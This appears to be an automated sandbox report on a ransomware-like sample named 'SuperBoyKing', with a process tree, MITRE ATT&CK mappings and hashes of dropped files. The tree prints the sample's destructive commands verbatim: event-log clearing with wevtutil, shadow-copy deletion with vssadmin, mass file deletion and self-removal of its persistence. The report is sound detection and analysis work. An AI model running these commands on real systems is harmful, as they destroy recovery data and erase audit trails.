  2⤵
  - Clears Windows event logs
  PID:2876
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:3484
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:3488
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:3108
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:4732
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:1328
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:3700
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:1316
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:3736
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:856
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:1544
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:280
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:296
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:4028
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:4400
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:3420
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:4216
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:4484
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:4364
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:2372
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:548
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4164
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:2720
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:4584
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:4232
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  PID:3016
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:4448
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3416
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4076
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3936
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  PID:3940
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:4064
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  PID:1936
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:1804
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:5040
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4576
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:2428
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:768
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:744
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:1032
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4316
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4804
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:3820
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:2812
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:1648
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:1052
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4516
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:4572
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:4632
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:1320
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:968
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:2300
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:3228
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:4128
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:3800
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:3600
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:2844
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:5032
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4504
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:2864
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:1496
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:1688
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:964
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:3704
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4592
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:2308
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:1224
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:3840
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:3528
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:3324
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:536
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:3068
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4952
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:1284
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:4320
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:4200
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:4208
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:2404
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:1120
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4184
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4256
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2556
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:3804
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:4020
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4692
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3900
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4972
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4072
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:1700
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4144
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3776
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2780
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4780
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3644
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3328
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:4084
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5024
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4196
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3156
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3484
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3872
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3108
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:464
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:284
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1512
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:296
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2352
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4400
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:4156
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:936
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1192
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:4584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:4112
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2168
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:3564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:3764
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1804
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4056
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:4076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:160
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2428
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2664
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:5040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:4820
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1344
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:2016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:2440
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1052
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2296
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:1772
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:372

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 4cffd53a4c1299c817c7f9de80ff3bb68e5d7c7c692e93d6ec39d19c1b1998fe
MD5 9f629d2038fddc716e498f0fe618081e
SHA1 58857b3b683f8a34553f0a683ef366baf7b37907
SHA512 bf6455d0553453acd66ec56eef63ea0ac96f0137d8906f162ee2353b3194041c9775f62af5b82cf72c7564549b47abd35db664cbca579c62b565721f84a63ea3
TLSH
T188112223F38C8920CC96163A509DAC5172B586CB81EEDF9F7FC0C210E1BF584CB62294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 9f7f29a4696876cadca3f14d7e43f9ede0c97fd64be3f5d94bda49a91b6a419e
MD5 e5663972c1caaba7088048911c758bf3
SHA1 3462dea0f9c2c16a9c3afdaef8bbb1f753c1c198
SHA512 ff4e72c46cf083de62baa2ce2661555dd91b5f144294015f7b262fd4500cb67fe80e1871a82da63b607e3e9cef401f4b73c587bf1134637881ecad51aad1eddc
TLSH
T1F3112223F38C8960CC96153A509DAC5172B686CB81AFDE9F7FC0C210A5BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d2970c2e2ac73b9a3ec70f2ff081a2ac595c6525d86671305b499c8cb0021dea
MD5 8f69a8e8f957b75f734c60b74f9fe75c
SHA1 fcf4626d161e9d9203e8ce8f9b3c24d750709835
SHA512 dd5cdfa3935f70818603780cadbc0157ca142278907f0f91cefa8adba3a4d0616fbaeb3771208ff4962d114654b1b4fab27f080923e8bb623dc09e958d135bb1
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_iko1k3lq.ngu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iko1k3lq.ngu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

delete_me.bat

Path C:\Users\Admin\AppData\Local\Temp\delete_me.bat
Size 201B
SHA256 0c25c5d73cd3a43a71277f1311398bff343bacc9eb5b52113655dbe951c99309
MD5 0bcb8ac113c233946e86e514f2bd7084
SHA1 2809331c7c39f09f584ae344c7284965287fb7a5
SHA512 a6a7c0a4f7507c07b7c2da4419a2f511cb310f9ec3b1475f086859540206ccf4ddbf3ac687ca825d410e22414021938f2a13a539bf4c90b43ab412be95aacd43
TLSH
T18BD02221A169432440091CB3A96E204890680C8F9A45CE3E2147C0BE271B05BA0AE7C6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3768-32-0x00007FF768BE0000-0x00007FF768D6B000-memory.dmp

Download

memory/3768-36-0x00007FF768BE0000-0x00007FF768D6B000-memory.dmp

Download

memory/3768-54-0x00007FF768BE0000-0x00007FF768D6B000-memory.dmp

Download

memory/4196-1-0x000001B6CFE30000-0x000001B6CFE40000-memory.dmp

Download

memory/4196-0-0x000001B6CFE30000-0x000001B6CFE40000-memory.dmp

Download

memory/4196-2-0x000001B6D0850000-0x000001B6D0872000-memory.dmp

Download